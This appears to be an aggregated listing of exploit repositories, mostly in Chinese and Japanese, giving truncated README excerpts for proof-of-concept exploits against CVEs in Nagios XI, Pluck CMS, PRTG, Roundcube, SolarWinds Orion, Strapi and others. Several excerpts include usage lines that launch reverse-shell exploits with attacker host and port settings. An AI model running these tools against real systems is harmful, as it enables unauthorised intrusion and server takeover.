adidnsdump

Active Directory Integrated DNS dump tool By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer. This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks. For mo...

CVE-2023-31705

CVE-2023-31705 描述 Sourcecodester 任务提醒系统 1.0 中存在一个反射型跨站脚本（XSS）漏洞， 允许已认证用户向 page 参数注入恶意 JavaScript。 漏洞类型 跨站脚本攻击（XSS） 产品供应商 Sourcecodster 受影响产品代码库 Task Reminder System - 1.0 受影响组件 http://localhost/php-trs/admin/ page 参数 攻击类型 远程 攻击向量 要利用此漏洞，攻击者必须先通过应用程序的身份验证。之后可在浏览器中输入以下 URL...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs 向 Nagios XI 报告的漏洞 CVE-2021-25296 代码位置 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 代码片段 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2021-44103

CVE-2021-44103 KONGA 0.14.9 - 权限提升的概念验证。 简介 2021 年 11 月 16 日，Fabrício Salomão 和我在 Konga API 网关中发现了一个漏洞，允许任何经过身份验证的用户成为管理员。 漏洞报告 产品：KONGA 型号：0.14.9 漏洞类型：权限提升 影响：完全管理员访问权限（垂直权限提升） 认证：需要 Exploit 作者：Fabricio Salomao / Paulo Trindade PoC 下面创建了一个名为 "usernormal" 的普通用户，没有任何权限。 通过下面的请求，参数 "admin" 中的标志...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 認証済みOSコマンドインジェクション Hit Counter FortiWeb管理インターフェースにおけるコマンドインジェクションの脆弱性により、認証済みのリモート攻撃者がSAMLサーバー設定ページを介してシステム上で任意のコマンドを実行できる可能性があります。最大権限でコマンドを実行すると、攻撃者がサーバーを完全に制御できるようになります。これはCWE-78:...

CVE-2024-24401

漏洞报告 CVE 发现 （设计用于在 Kali Linux 上运行） 说明 Nagios 已在所有近期下载中修补了版本 2024R1.0.1。要判断目标是否存在漏洞，请确保他们使用的是旧版 2024R1.0.1。 更新后的脚本会检查目标系统是否存在漏洞 漏洞详情： 端点：/nagiosxi//config/monitoringwizard.php Nagios XI 版本 2024R1.0.1 漏洞类型：已验证的 SQL 注入 利用结果：创建管理员账户并实现完全远程代码执行 概念验证： 附带了演示该漏洞的 Python 脚本 建议： 为降低 SQL...

CVE-2020-29607

CVE-2020-29607-漏洞利用 漏洞利用标题：Pluck CMS 4.7.13 - 文件上传远程代码执行（需认证） CVE 描述： Pluck CMS 4.7.13 之前版本中的文件上传限制绕过漏洞允许具有管理员权限的用户通过“管理文件”功能获得对主机的访问权限，这可能导致远程代码执行。 https://nvd.nist.gov/vuln/detail/CVE-2020-29607 ExploitDB： https://www.exploit-db.com/exploits/49909 漏洞利用描述： 已认证的攻击者可以使用...

CVE-2021-35215

CVE-2021-35215 SolarWinds Orion Platform ActionPluginBaseView の逆シリアル化 RCE。ログインが必要。 PoC POST /Orion/RenderControl.aspx HTTP/1.1 Host: 192.168.137.130:8787 Content-Length: 3648 Cache-Control: max-age=0 Origin: http://192.168.137.130:8787 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type:...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

CVE-2019-9193

CVE-2019–9193 - PostgreSQL 9.3-12.3 认证远程代码执行 概念验证 PostgreSQL 数据库从 9.3 到 12.3 版本（最新已测试版本）存在已认证远程代码执行漏洞。 尽管开发团队本身并不认为这是一个漏洞，但它仍可被利用来访问配置不当的系统。 帮助菜单 利用示例 参考资料 NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-9193 CVE Details: https://www.cvedetails.com/cve/CVE-2019-9193/ PostgreSQL:...

CVE-2025-4796

CVE-2025-4796 eventin そして、スピーカーのメールを自分が管理するメールに更新します。その後、攻撃者はWordPressのパスワードリセット機能を使用して管理者アカウントを乗っ取ることができます。 必要条件: Python 3.8 以上 requests requestsのインストール: pip install requests 使用方法 スクリプトを実行し、プロンプトに従って必要な値を入力してください： python3 CVE-2025-4796.py 出力例 + SSL検証警告を無効化 + WordPressにログイン中。 + ログイン成功。 +...

CVE-2025-40677

漏洞标题：Summar Employee Portal 3.98.0 之前版本存在认证 SQL 注入漏洞 - CVE-2025-40677 Google Dork：inurl:"/MemberPages/quienesquien.aspx" 日期：2025年09月22日 漏洞作者：Peter Gabaldon - https://pgj11.com/ 供应商主页：https://www.summar.es/ 软件链接：https://www.summar.es/software-recursos-humanos/ 版本： 3.98.0 测试环境：Kali CVE：CVE-2025-406...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Pluck-CMS v4.7.18 のコンポーネント /inc/modulesinstall.php における任意のファイルアップロードの脆弱性により、攻撃者が細工されたZIPファイルをアップロードして任意のコードを実行できる可能性があります。これは認証済みの脆弱性です。 免責事項: このコードは教育目的のみを意図しています。 使用方法: usage: CVE-2023-50564.py -h -H TARGETHOST -u USER -p PASSWORD -lhost LHOST -lport LPORT 1...

CVE-2023-46818

CVE-2023-46818 - ISPConfig PHP 代码执行 | 漏洞利用 ISPConfig 高危远程代码执行漏洞 PoC 实现。 摘要 ISPConfig 版本 /admin/languageedit.php — ISPConfig 漏洞端点 🚀 运行漏洞利用 运行漏洞利用脚本 CVE-2024-47533.py。 python3 CVE-2023-46818.py -u -U -P 💻 成功获取远程 Shell 访问 成功执行后，反向 shell 将回连到攻击者的机器，使攻击者获得对服务器的远程访问权限。...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail 远程代码执行漏洞 技术概述 CVE-2025-49113 是 Roundcube Webmail 中的一个严重的不安全反序列化漏洞，可导致经过身份验证的远程代码执行。该漏洞源于文件上传操作期间对序列化 PHP 对象处理不当。 漏洞分析 根本原因 ：文件上传功能中对用户可控数据进行不安全的反序列化 攻击向量 ：包含恶意序列化 PHP 对象的特制文件上传请求 技术细节 ： 位于 program/steps/mail/attach.inc 中 处理 file 参数元数据时未进行适当的验证 结合了两种注入技术： 1. 通过...

CVE-2026-78851

Grav 认证路径遍历 / 通过 Twig mediadirectory 实现任意目录泄露 报告者 姓名： CYBER-SEC 联系方式： [email protected] 摘要 Grav 的 Twig 函数 mediadirectory 在页面内容 Twig 沙箱白名单中暴露，但未对非流输入正确执行路径包含限制。 具有页面编辑权限的认证用户可以调用 mediadirectory'/绝对/路径'，或在启用 Twig 的页面内容中使用 mediadirectory'../../../../path' 等相对遍历方式。Grav 随后会索引 Web...

CVE-2024-21683-RCE

CVE-2024-21683-RCE 致谢 https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 用法 git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u http://192.168.198.1:8090 -au...

CVE-2025-49113-exploit

CVE-2025-49113 - Roundcube リモートコード実行 Roundcube Webmail におけるリモートコード実行の脆弱性 CVE-2025-49113 の概念実証エクスプロイトです。 説明 このエクスプロイトは、Roundcube Webmail バージョン 1.5.0 から 1.6.10 におけるデシリアライゼーションの脆弱性を悪用します。この脆弱性により、認証された攻撃者がサーバー上で任意のコードを実行できるようになります。 影響を受けるバージョン 1.5.0 - 1.5.9 1.6.0 - 1.6.10 必要条件 PHP 7.0 以上 cURL...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742 における認証済みRCE 管理者権限を持つ攻撃者は、悪意のあるPHPドキュメントをアップロードできます。base64でエンコードされたファイルの場所をデコードすることで、ユーザーはapacheユーザーとしてシェルを取得できます。 発見者: TheCyberGeek PoC Pythonスクリプト Usage: python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL Ex: python3 CVE-2020-5844.py...

CVE-2019-19609-EXPLOIT

CVE-2019-19609-エクスプロイト Strapi（strapi-3.0.0-beta.17.7 以前）における CVE-2019-19609 のエクスプロイト（リモートコード実行）。 私はこの脆弱性に直面したが、公開されたエクスプロイトがない状況でした。そこで独自のものを作成し、ここで共有することにしました。 インストール git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT 使用方法 cd CVE-2019-19609-EXPLOIT python exploit.py -d DOMAINORIP -j...